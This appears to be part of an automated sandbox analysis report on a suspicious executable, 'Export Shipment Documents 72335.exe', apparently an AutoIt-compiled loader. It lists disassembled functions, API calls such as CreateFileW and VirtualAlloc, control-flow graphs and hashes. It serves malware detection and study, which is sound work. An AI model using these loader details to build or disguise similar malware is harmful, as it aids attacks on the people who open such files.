                                                                                                                                                                                                          • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                                                                          Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                                          • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                                          • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                                          • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                                          • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                                          • ImageList_ReplaceIcon.COMCTL32(00A12070,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                                                          • API String ID: 2914291525-1005189915
                                                                                                                                                                                                          • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                                          • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                                                                          Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                                          • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                                          • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                                          • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                                          • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                                          • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                                            • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                                            • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                                            • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                                            • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                                            • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                                            • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                                            • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00A12070,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                                                          • String ID: #$0$PGH
                                                                                                                                                                                                          • API String ID: 423443420-3673556320
                                                                                                                                                                                                          • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                                          • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                                                                          Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                                                                          • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00452689
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00452696
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1911931848-0
                                                                                                                                                                                                          • Opcode ID: 07c7d1d11592908342a612a25e8a5e33943486726a22accfdf27b608027379a0
                                                                                                                                                                                                          • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 07c7d1d11592908342a612a25e8a5e33943486726a22accfdf27b608027379a0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                                                                          Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 441 40f450-40f45c call 425210 444 40f460-40f478 441->444 444->444 445 40f47a-40f4a8 call 413990 call 410f70 444->445 450 40f4b0-40f4d1 call 4151b0 445->450 453 40f531 450->453 454 40f4d3-40f4da 450->454 455 40f536-40f540 453->455 456 40f4dc-40f4de 454->456 457 40f4fd-40f517 call 41557c 454->457 458 40f4e0-40f4e2 456->458 461 40f51c-40f51f 457->461 460 40f4e6-40f4ed 458->460 462 40f521-40f52c 460->462 463 40f4ef-40f4f2 460->463 461->450 466 40f543-40f54e 462->466 467 40f52e-40f52f 462->467 464 42937a-4293a0 call 41557c call 4151b0 463->464 465 40f4f8-40f4fb 463->465 477 4293a5-4293c3 call 4151d0 464->477 465->457 465->458 468 40f550-40f553 466->468 469 40f555-40f560 466->469 467->463 468->463 471 429372 469->471 472 40f566-40f571 469->472 471->464 474 429361-429367 472->474 475 40f577-40f57a 472->475 474->460 478 42936d 474->478 475->463 477->455 478->471
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                                                                          • String ID: AU3!$EA06
                                                                                                                                                                                                          • API String ID: 3818483258-2658333250
                                                                                                                                                                                                          • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                                          • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                                                                          Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 481 410130-410142 SHGetMalloc 482 410148-410158 SHGetDesktopFolder 481->482 483 42944f-429459 call 411691 481->483 484 4101d1-4101e0 482->484 485 41015a-410188 call 411691 482->485 484->483 491 4101e6-4101ee 484->491 493 4101c5-4101ce 485->493 494 41018a-4101a1 SHGetPathFromIDListW 485->494 493->484 495 4101a3-4101b1 call 411691 494->495 496 4101b4-4101c0 494->496 495->496 496->493
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                                                                          • String ID: C:\Users\user\Desktop\Export Shipment Documents 72335.exe
                                                                                                                                                                                                          • API String ID: 192938534-1205857601
                                                                                                                                                                                                          • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                                          • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                                                                          Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 499 401230-40123b 500 401241-401272 call 4131f0 call 401be0 499->500 501 4012c5-4012cd 499->501 506 401274-401292 500->506 507 4012ae-4012bf KillTimer SetTimer 500->507 508 42aa61-42aa67 506->508 509 401298-40129c 506->509 507->501 510 42aa8b-42aaa7 Shell_NotifyIconW 508->510 511 42aa69-42aa86 Shell_NotifyIconW 508->511 512 4012a2-4012a8 509->512 513 42aaac-42aab3 509->513 510->507 511->507 512->507 516 42aaf8-42ab15 Shell_NotifyIconW 512->516 514 42aad7-42aaf3 Shell_NotifyIconW 513->514 515 42aab5-42aad2 Shell_NotifyIconW 513->515 514->507 515->507 516->507
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00401257
                                                                                                                                                                                                            • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                                            • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                                            • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                                                            • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                                          • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                                                                          • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1792922140-0
                                                                                                                                                                                                          • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                                          • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                                                                          Function 03FE5620 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 517 3fe5620-3fe56ce call 3fe3050 520 3fe56d5-3fe56fb call 3fe6530 CreateFileW 517->520 523 3fe56fd 520->523 524 3fe5702-3fe5712 520->524 525 3fe584d-3fe5851 523->525 531 3fe5719-3fe5733 VirtualAlloc 524->531 532 3fe5714 524->532 526 3fe5893-3fe5896 525->526 527 3fe5853-3fe5857 525->527 533 3fe5899-3fe58a0 526->533 529 3fe5859-3fe585c 527->529 530 3fe5863-3fe5867 527->530 529->530 534 3fe5869-3fe5873 530->534 535 3fe5877-3fe587b 530->535 536 3fe573a-3fe5751 ReadFile 531->536 537 3fe5735 531->537 532->525 538 3fe58f5-3fe590a 533->538 539 3fe58a2-3fe58ad 533->539 534->535 542 3fe587d-3fe5887 535->542 543 3fe588b 535->543 544 3fe5758-3fe5798 VirtualAlloc 536->544 545 3fe5753 536->545 537->525 540 3fe590c-3fe5917 VirtualFree 538->540 541 3fe591a-3fe5922 538->541 546 3fe58af 539->546 547 3fe58b1-3fe58bd 539->547 540->541 542->543 543->526 550 3fe579f-3fe57ba call 3fe6780 544->550 551 3fe579a 544->551 545->525 546->538 548 3fe58bf-3fe58cf 547->548 549 3fe58d1-3fe58dd 547->549 553 3fe58f3 548->553 554 3fe58df-3fe58e8 549->554 555 3fe58ea-3fe58f0 549->555 557 3fe57c5-3fe57cf 550->557 551->525 553->533 554->553 555->553 558 3fe5802-3fe5816 call 3fe6590 557->558 559 3fe57d1-3fe5800 call 3fe6780 557->559 565 3fe581a-3fe581e 558->565 566 3fe5818 558->566 559->557 567 3fe582a-3fe582e 565->567 568 3fe5820-3fe5824 CloseHandle 565->568 566->525 569 3fe583e-3fe5847 567->569 570 3fe5830-3fe583b VirtualFree 567->570 568->567 569->520 569->525 570->569
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03FE56F1
                                                                                                                                                                                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03FE5917
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateFileFreeVirtual
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 204039940-0
                                                                                                                                                                                                          • Opcode ID: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                                                                                                                                                          • Instruction ID: d980bca12b961dea8f08294691c2e8a7c2e2e4e8b4ab41686e57285c14dd28b8
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                                                                                                                                                          • Instruction Fuzzy Hash: AFA11675E0020DEBDB14CFA4C994BEEBBB5BF49308F248199E515BB280D7759A40CFA4
                                                                                                                                                                                                          Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 571 414f10-414f2c 572 414f4f 571->572 573 414f2e-414f31 571->573 574 414f51-414f55 572->574 573->572 575 414f33-414f35 573->575 576 414f37-414f46 call 417f23 575->576 577 414f56-414f5b 575->577 589 414f47-414f4c call 417ebb 576->589 578 414f6a-414f6d 577->578 579 414f5d-414f68 577->579 582 414f7a-414f7c 578->582 583 414f6f-414f77 call 4131f0 578->583 579->578 581 414f8b-414f9e 579->581 587 414fa0-414fa6 581->587 588 414fa8 581->588 582->576 586 414f7e-414f89 582->586 583->582 586->576 586->581 592 414faf-414fb1 587->592 588->592 589->572 593 4150a1-4150a4 592->593 594 414fb7-414fbe 592->594 593->574 596 414fc0-414fc5 594->596 597 415004-415007 594->597 596->597 598 414fc7 596->598 599 415071-415072 call 41e6b1 597->599 600 415009-41500d 597->600 601 415102 598->601 602 414fcd-414fd1 598->602 610 415077-41507b 599->610 604 41500f-415018 600->604 605 41502e-415035 600->605 613 415106-41510f 601->613 608 414fd3 602->608 609 414fd5-414fd8 602->609 611 415023-415028 604->611 612 41501a-415021 604->612 606 415037 605->606 607 415039-41503c 605->607 606->607 614 415042-41504e call 41453a call 41ed9e 607->614 615 4150d5-4150d9 607->615 608->609 616 4150a9-4150af 609->616 617 414fde-414fff call 41ee9b 609->617 610->613 618 415081-415085 610->618 619 41502a-41502c 611->619 612->619 613->574 639 415053-415058 614->639 624 4150eb-4150fd call 417f23 615->624 625 4150db-4150e8 call 4131f0 615->625 620 4150b1-4150bd call 4131f0 616->620 621 4150c0-4150d0 call 417f23 616->621 633 415099-41509b 617->633 618->615 626 415087-415096 618->626 619->607 620->621 621->589 624->589 625->624 626->633 633->593 633->594 640 415114-415118 639->640 641 41505e-415061 639->641 640->613 641->601 642 415067-41506f 641->642 642->633
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3886058894-0
                                                                                                                                                                                                          • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                                                          • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                                                                          Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                                                                          • String ID: Line:
                                                                                                                                                                                                          • API String ID: 1620655955-1585850449
                                                                                                                                                                                                          • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                                          • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                                                                                                                                          Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 676 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                                                          APIs
